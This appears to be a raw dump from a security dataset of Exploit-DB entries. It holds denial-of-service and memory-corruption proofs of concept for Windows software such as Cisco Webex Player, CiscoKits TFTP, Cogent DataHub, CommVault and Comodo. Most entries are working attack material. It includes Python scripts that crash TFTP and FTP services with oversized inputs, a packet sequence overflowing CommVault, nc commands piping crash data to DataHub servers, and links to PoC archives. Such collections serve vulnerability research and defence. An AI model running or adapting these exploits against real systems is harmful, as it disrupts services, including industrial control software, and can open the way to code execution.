deardaniel/secdata-raw huggingface dataset:
Exploit-DB #40509
Description: Cisco Webex Player T29.10 - '.ARF' Out-of-Bounds Memory Corruption
Type: dos
Platform: windows
Date: 2016-10-12
Author: COSIG

Exploit:
#####################################################################################

# Application: Cisco Webex Player
# Platforms: Windows
# Versions: Cisco Webex Meeting Player version T29.10
# Author: Francis Provencher of COSIG
# Website: https://cosig.gouv.qc.ca/en/advisory/
# Twitter: @COSIG_
# Date: August 31, 2016
# CVE: CVE-2016-1415
# COSIG-2016-34

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#######################################################################################

===================
1) Introduction
===================

Cisco WebEx, formerly WebEx Communications Inc. is a company that provides on-demand collaboration, online meeting, web conferencing and videoconferencing applications. Its products include Meeting Center, Training Center, Event Center, Support Center, Sales Center, MeetMeNow, PCNow, WebEx AIM Pro Business Edition, WebEx WebOffice, and WebEx Connect. All WebEx products are part of the Cisco collaboration portfolio. All Cisco WebEx products are offered by Cisco Systems Inc.

(https://en.wikipedia.org/wiki/WebEx)

#######################################################################################

===================
2) Report Timeline
===================

2016-05-25: Francis Provencher of COSIG report the vulnerability to Cisco PSIRT
2016-06-07: Cisco PSIRT confirm the vulnerability
2016-08-09: Cisco fixed the issue
2016-08-09: Advisory released

http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160831-meetings-player

#######################################################################################

===================
3) Technical details
===================

The flaw exists within the parsing process of an invalid ARF file. An attacker can use this flaw to create an out-of-bound memory corruption which could allow for the execution of arbitrary code in the context of the current process.

#######################################################################################

==========
4) POC
==========

https://cosig.gouv.qc.ca/wp-content/uploads/2016/09/COSIG-2016-34.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40509.zip

#######################################################################################
Exploit-DB #40508
Description: Cisco Webex Player T29.10 - '.WRF' Use-After-Free Memory Corruption
Type: dos
Platform: windows
Date: 2016-10-12
Author: COSIG

Exploit:
#####################################################################################

# Application: Cisco Webex Player
# Platforms: Windows
# Versions: Cisco Webex Meeting Player version T29.10
# Author: Francis Provencher of COSIG
# Website: https://cosig.gouv.qc.ca/en/advisory/
# Twitter: @COSIG_
# Date: August 31, 2016
# CVE: CVE-2016-1464
# COSIG-2016-33

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#######################################################################################

===================
1) Introduction
===================

Cisco WebEx, formerly WebEx Communications Inc. is a company that provides on-demand collaboration, online meeting, web conferencing and videoconferencing applications. Its products include Meeting Center, Training Center, Event Center, Support Center, Sales Center, MeetMeNow, PCNow, WebEx AIM Pro Business Edition, WebEx WebOffice, and WebEx Connect. All WebEx products are part of the Cisco collaboration portfolio. All Cisco WebEx products are offered by Cisco Systems Inc.

(https://en.wikipedia.org/wiki/WebEx)

#######################################################################################

===================
2) Report Timeline
===================

2016-05-25: Francis Provencher of COSIG report the vulnerability to Cisco PSIRT
2016-06-07: Cisco PSIRT confirm the vulnerability
2016-08-09: Cisco fixed the issue
2016-08-09: Advisory released

http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160831-meetings-player

#######################################################################################

===================
3) Technical details
===================

The specific flaw exists within the parsing process of an invalid JPG in WRF file. An attacker can use this flaw to create a use-after-free memory corruption, which could allow for the execution of arbitrary code in the context of the current process

#######################################################################################

==========
4) POC
==========

https://cosig.gouv.qc.ca/wp-content/uploads/2016/09/COSIG-2016-33.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40508.zip

#######################################################################################
Exploit-DB #17618
Description: CiscoKits 1.0 - TFTP Server 'Write Command' Denial of Service
Type: dos
Platform: windows
Date: 2011-08-05
Author: SecPod Research

Exploit:
#!/usr/bin/python
##############################################################################
# Title    : CiscoKits CCNA TFTP Server Denial Of Service Vulnerability
# Author   : Prabhu S Angadi from SecPod Technologies (www.secpod.com)
# Vendor   : http://www.certificationkits.com/cisco-ccna-tftp-server/
# Advisory : http://secpod.org/blog/?p=271
#            http://secpod.org/SECPOD_CiscoKits_CCNA_TFTP_DoS_POC.py
#            http://secpod.org/advisories/SECPOD_Ciscokits_CCNA_TFTP_DoS.txt
# Version  : CiscoKits CCNA TFTP Server 1.0.0.0
# Date     : 21/07/2011
##############################################################################

import socket,sys,time

port   = 69
target = raw_input("Enter host/target ip address: ")

if not target:
    print "Host/Target IP Address is not specified"
    sys.exit(1)

print "you entered ", target

try:
    socket.inet_aton(target)
except socket.error:
    print "Invalid IP address found ..."
    sys.exit(1)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
    print "socket() failed"
    sys.exit(1)

#File name >= 222 length leads to crash
exploit = "A" * 500

mode = "netascii"
print "File name WRITE crash"
# WRITE command = \x00\x02
data = "\x00\x02" + exploit + "\0" + mode + "\0"
sock.sendto(data, (target, port))
time.sleep(5)
Exploit-DB #17569
Description: Ciscokits 1.0 - TFTP Server File Name Denial of Service
Type: dos
Platform: windows
Date: 2011-07-25
Author: Craig Freyman

Exploit:
#!/usr/bin/python
#Title: Ciscokits 1.0 TFTP Long Filename DoS
#Author: Craig Freyman (@cd1zz)
#Date: July 22, 2011
#Software Link: http://www.certificationkits.com/tftpserver/tftpserver.zip
#Tested on: Windows XP SP3
#Vendor notified: July 22, 2010 - Vendor approved release of PoC on July 23, 2010. 
#Notes: When a long file name read request is made the CPU will spike
#and within about 20 seconds the TFTP service will crash.

import socket,sys,time

host = '192.168.133.128'
port = 69

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
	print "socket() failed"
	sys.exit(1)

crash = "\x41" * 2500

mode = "netascii"
files = "a"
print "File name READ crash"
#seems to only work on a READ command = x01
pwned = "\x00\x01" + crash + "\0" + mode + "\0"
s.sendto(pwned, (host, port))
time.sleep(2)
Exploit-DB #36969
Description: Citrix 11.6.1 - Licensing Administration Console Denial of Service
Type: dos
Platform: windows
Date: 2012-03-15
Author: Rune

Exploit:
source:  https://www.securityfocus.com/bid/52522/info

Citrix Licensing is prone to a denial-of-service vulnerability.

A remote attacker can leverage this issue to crash the affected application, denying service to legitimate users.

Citrix Licensing 11.6.1 build 10007 is vulnerable; other versions may also be affected. 

Proof-of-Concept:
http://www.example.com/users?licenseTab=&selected=&userName=xsrf&firstName=xsrf&lastName=xsrf&password2=xsrf&confirm=xsrf&accountType=admin&originalAccountType=&Create=Save(Administrator CSRF)

http://www.example.com/dashboard?<something long here>=2 (pre auth DoS, crashes lmadmin.exe)
Exploit-DB #21703
Description: Citrix Metaframe for Windows NT 4.0 TSE 1.8 - Java ICA Environment Denial of Service
Type: dos
Platform: windows
Date: 2002-08-11
Author: Tanin Ehrami

Exploit:
source: https://www.securityfocus.com/bid/5439/info

Citrix Metaframe is a commercial available remote desktop application. This issue affects Metaframe on the Microsoft Windows platform.

It has been discovered that Metaframe can be made to become unstable. By connecting to the Metaframe server using custom-crafted Java ICA files, a remote user may be able to create instability in the Metaframe server. The server typically reacts to this vulnerability by disconnecting all users, and either crashing requiring a manual reboot, or crashing and rebooting.

Change the following value:

applet code="com.citrix.JICA.class" archive="jicaengn.jar" width="800"
height="600"

to:

applet code="com.citrix.JICA.class" archive="jicaengn.jar" width=100%
height=100%

Load in a browser, set the browser to full-screen mode, and refresh.
Exploit-DB #37711
Description: Classic FTP 2.36 - CWD Reconnection Denial of Service
Type: dos
Platform: windows
Date: 2015-07-28
Author: St0rn

Exploit:
#!/usr/bin/env python
#
# Exploit Title: Classic FTP v2.36 CWD Reconnection DOS
# Date: 27/07/2015
# Exploit Author: St0rn <fabien[at]anbu-pentest[dot]com>
# Vendor Homepage: www.nchsoftware.com
# Software Link: www.nchsoftware.com/classic/cftpsetup.exe
# Version: 2.36
# Tested on: Windows 7
#


import socket
import sys
import time


junk1="250 "+"a"*(80000-6)+"\r\n"
c=1

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("",21))
s.listen(10)


while 1:
 conn, addr = s.accept()
 print 'Connected with ' + addr[0] + ':' + str(addr[1])
 conn.send("220 Classic FTP Xsploit\r\n")
 try:
  while 1:
   buf=conn.recv(1024)
   if "USER" in buf:
    conn.send("331 User name okay, need password\r\n")
   if "PASS" in buf:
    conn.send("230-Password accepted.\r\n")
    conn.send("230 User logged in.\r\n")
   if "CWD" in buf:
    conn.send(junk1)
    print "Evil Response send with %s bytes!" %len(junk1)
    print "Loop %s: \n\tWaiting client reconnection, crash in %s loop\n" %(c,(122-c))
    if c==122:
     print "BOOMmMm!"
    c+=1
   if "QUIT" in buf:
    break
 except:
  time.sleep(0)
Exploit-DB #48617
Description: Code Blocks 20.03 - Denial Of Service (PoC)
Type: dos
Platform: windows
Date: 2020-06-23
Author: Paras Bhatia

Exploit:
# Exploit Title: Code Blocks 20.03 - Denial Of Service (PoC) 
# Vendor Homepage: http://www.codeblocks.org/ 
# Software Link Download: https://sourceforge.net/projects/codeblocks/files/Binaries/20.03/Windows/codeblocks-20.03-setup.exe/download
# Exploit Author: Paras Bhatia
# Discovery Date: 2020-06-23
# Vulnerable Software: Code Blocks
# Version: 20.03
# Vulnerability Type: Denial of Service (DoS)
# Tested on: Windows 7 Ultimate Service Pack 1 (32 bit - English)  

#Steps to Produce the Crash:

#   1.- Run python code: CodeBlocksCrash.py
#   2.- Copy content to clipboard
#   3.- Open "codeblocks.exe"
#   4.- In the "Management" section on left hand side, Click on "FSymbols" tab.
#   5.- Select "Active project's symbols" from drop down "View:" menu.
#   6.- Paste ClipBoard into the "Search:" field.
#   7.- Press Enter from keyboard.
#   8.- Crashed.


##################################################################################################################################################


#Python "CodeBlocksCrash.py" Code:

f= open("CodeBlocksCrash.txt", "w")

payload="\x41" * 5000

f.write(payload)

f.close()
Exploit-DB #17839
Description: Cogent DataHub 7.1.1.63 - Integer Overflow
Type: dos
Platform: windows
Date: 2011-09-14
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Cogent DataHub
              http://www.cogentdatahub.com/Products/Cogent_DataHub.html
Versions:     <= 7.1.1.63
Platforms:    Windows
Bug:          integer overflow
Exploitation: remote
Date:         13 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


DataHub is a software for the SCADA and automation sector.


#######################################################################

======
2) Bug
======


The server/service listens on port 80 using a custom web server.

The software is affected by an integer overflow caused by the
allocation of the amount of memory specified by the Content-Length
field (-1 or[PII_REDACTED]) plus one resulting in a buffer of zero bytes.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/cogent_3.dat
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17839.dat

  nc SERVER 80 < cogent_3.dat


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #17838
Description: Cogent DataHub 7.1.1.63 - Stack Overflow
Type: dos
Platform: windows
Date: 2011-09-14
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Cogent DataHub
              http://www.cogentdatahub.com/Products/Cogent_DataHub.html
Versions:     <= 7.1.1.63
Platforms:    Windows
Bug:          stack unicode overflow
Exploitation: remote
Date:         13 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


DataHub is a software for the SCADA and automation sector.


#######################################################################

======
2) Bug
======


The server/service listens on the ports 4052 and 4053, the only
difference is that the second port uses SSL while the first one is in
plain-text.

Stack-based unicode buffer-overflow in the "DH_OneSecondTick" function
exploitable through the "domain", "report_domain", "register_datahub",
"slave" and some other commands:

  00440442  |. 50             |PUSH EAX                     ; string
  00440443  |. 68 64854900    |PUSH CogentDa.00498564       ; "Domain"
  00440448  |. 8D8D 00FFFFFF  |LEA ECX,DWORD PTR SS:[EBP-100]
  0044044E  |. 68 A42F4900    |PUSH CogentDa.00492FA4       ; "%s.%s"
  00440453  |. 51             |PUSH ECX                     ; stack buffer
  00440454  |. FF15 B4F44800  |CALL DWORD PTR DS:[<&MSVCR90._swprintf>]


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/cogent_1.dat
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17838.dat

  nc SERVER 4052 < cogent_1.dat

port 4053 uses the same protocol via SSL.


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #14625
Description: CombiWave Lite 4.0.1.4 - Denial of Service
Type: dos
Platform: windows
Date: 2010-08-12
Author: Oh Yaw Theng

Exploit:
# Exploit Title: CombiWave Lite v4.0.1.4 (.mws) DoS
# Date: 12 / 8 / 2010
# Author: Oh Yaw Theng
# Software Link: http://www.topdownloads.net/software/combiwave-lite_2_219101.html?hl=&ia=0
# Version: v4.0.1.4
# Tested on: Windows XP SP 2
# CVE : N / A

#!/usr/bin/python

filename = "crash.mws"

junk = "\x41" * 5000

exploit = junk

textfile = open(filename,'w')
textfile.write(exploit)
textfile.close()
Exploit-DB #41823
Description: CommVault Edge 11 SP6 - Stack Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2017-03-16
Author: redr2e

Exploit:
import socket
import binascii
import time
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect(("10.101.0.85", 8400))

def sr(p=None, r=None):
        if p:
                print "sending %d bytes: %s " % (len(p)/2,p)
                payl = binascii.a2b_hex(p)
                s.send(payl)
        if r:
                data = s.recv(1024*2)
                print "received %d bytes: %s " % (len(data),binascii.b2a_hex(data))




pkt1  = "[PII_REDACTED][PII_REDACTED][PII_REDACTED]0f[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]" 
pkt1 += "[PII_REDACTED][PII_REDACTED]00000000ffe[PII_REDACTED]0010000"
pkt1 += "[PII_REDACTED]"

pkt2  = "[PII_REDACTED][PII_REDACTED]00090000ffe800000036"+"00018016"
pkt2 += "02000000"+"09050009"+"c14d4d0"+"[PII_REDACTED]00000003a[PII_REDACTED]76642e6578656a231a0200429d[PII_REDACTED]96059c16e042"+"fd00b417" 


pkt3  = "53534c634c6e54"+"01"+"000b"+"77696e323031322d303200"+"03"+"[PII_REDACTED]"
p = "41"*0xd0 
pkt3 += p

sr(pkt1,1)
sr(pkt2,1)
sr(pkt3,1)
exit()




s.close()
Exploit-DB #39603
Description: Comodo - Integer Overlow Leading to Heap Overflow Parsing Composite Documents
Type: dos
Platform: windows
Date: 2016-03-23
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=762

In COleMemFile::LoadDiFatList, values from the header are used to parse the document FAT. If header.csectDif is very high, the calculation overflows and a very small buffer is allocated.

The document FAT is then memcpy'd onto the buffer directly from the input file being scanned, resulting in a nice clean heap overflow.

This vulnerability is obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM, the attached test cases should reproduce the problem reliably (this issue was found using trivial fuzzing). You can see this testcase has this->m_oleDocHeader.csectDif = 0x40000001, and so this->m_oleDocHeader.csectDif * this->diFATPerSect * 4 + 436 wraps to 0x3b0.

(b80.ad8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
script!CreateInstance+0x178ac:
00000000`0ac5a4bc 8901            mov     dword ptr [rcx],eax ds:00000000`0c79a1f0=????????
0:009> u
script!CreateInstance+0x178ac:
00000000`0ac5a4bc 8901            mov     dword ptr [rcx],eax
00000000`0ac5a4be 4d8bc8          mov     r9,r8
00000000`0ac5a4c1 49c1e905        shr     r9,5
00000000`0ac5a4c5 7550            jne     script!CreateInstance+0x17907 (00000000`0ac5a517)
00000000`0ac5a4c7 4d8bc8          mov     r9,r8
00000000`0ac5a4ca 49c1e903        shr     r9,3
00000000`0ac5a4ce 7414            je      script!CreateInstance+0x178d4 (00000000`0ac5a4e4)
00000000`0ac5a4d0 4883e908        sub     rcx,8
0:009> r
rax=[PII_REDACTED]4e8400 rbx=000000000c782120 rcx=000000000c79a1f0
rdx=fffffffffffe99f8 rsi=000000000c7839f0 rdi=[PII_REDACTED]
rip=000000000ac5a4bc rsp=000000000d80e4b8 rbp=[PII_REDACTED]000bd6
 r8=[PII_REDACTED]0001f8  r9=[PII_REDACTED] r10=00000006ffffffff
r11=000000000c799ff8 r12=[PII_REDACTED]0138a1 r13=000000000aea0000
r14=[PII_REDACTED] r15=[PII_REDACTED]336b00
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
script!CreateInstance+0x178ac:
00000000`0ac5a4bc 8901            mov     dword ptr [rcx],eax ds:00000000`0c79a1f0=????????


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39603.zip
Exploit-DB #39602
Description: Comodo - LZMA Decoder Heap Overflow via Insufficient Parameter Checks
Type: dos
Platform: windows
Date: 2016-03-23
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=763

The LZMA specification says the following about the memory usage of decompression:

"The size of the probability model counter arrays is calculated with the following formula: size_of_prob_arrays = 1846 + 768 * (1 << (lp + lc))"

But that formula only holds true if you keep the parameters within the specified range, which the SDK gives as:

lp - The number of literal pos bits (low bits of current position for literals).
     It can be in the range from 0 to 4. The default value is 0.

lc - The number of literal context bits (high bits of previous literal).
     It can be in the range from 0 to 8. The default value is 3.

If you set the parameters outside those ranges, then the rest of the assumptions don't hold and memory corruption can occur. Comodo do not attempt to keep these parameters in range, and lots of memory corruption can occur, the attached testcase should crash during an LZMA decode operation by overflowing a heap buffer.

This vulnerability is obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM. 

(438.dd4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
unpack!CreateInstance+0x654bc:
000007fe`f29890cc 66f3ab          rep stos word ptr [rdi]
0:010> r
rax=[PII_REDACTED] rbx=[PII_REDACTED] rcx=000000007ffffe88
rdx=[PII_REDACTED] rsi=000000000b154588 rdi=000000000bbfc000
rip=000007fef29890cc rsp=000000000d6cd2c0 rbp=[PII_REDACTED]
 r8=[PII_REDACTED]023c7c  r9=000000000d6cd378 r10=[PII_REDACTED]
r11=000000000b361000 r12=[PII_REDACTED] r13=000000000b39c38c
r14=[PII_REDACTED] r15=000000000bbfaea4
iopl=0         nv up ei ng nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
unpack!CreateInstance+0x654bc:
000007fe`f29890cc 66f3ab          rep stos word ptr [rdi]

This is trying to initialize the probabilities array, but overflowing the heap buffer allocated and running off a page boundary.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39602.zip
Exploit-DB #39601
Description: Comodo - PackMan Unpacker Insufficient Parameter Validation
Type: dos
Platform: windows
Date: 2016-03-23
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=764

Packman is an obscure opensource executable packer that Comodo Antivirus attempts to unpack during scanning. The code is available online here:

http://packmanpacker.sourceforge.net/

If the compression method is set to algorithm 1, compression parameters are read directly from the input executable without validation. Fuzzing this unpacker revealed a variety of crashes due to this, such as causing pointer arithmetic in CAEPACKManUnpack::DoUnpack_With_NormalPack to move pksDeCodeBuffer.ptr to an arbitrary address, which allows an attacker to free() an arbitrary pointer.

This issue is obviously exploitable to execute code as NT AUTHORITY\SYSTEM.

The attached testcase will attempt to free() an invalid pointer to demonstrate this.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39601.zip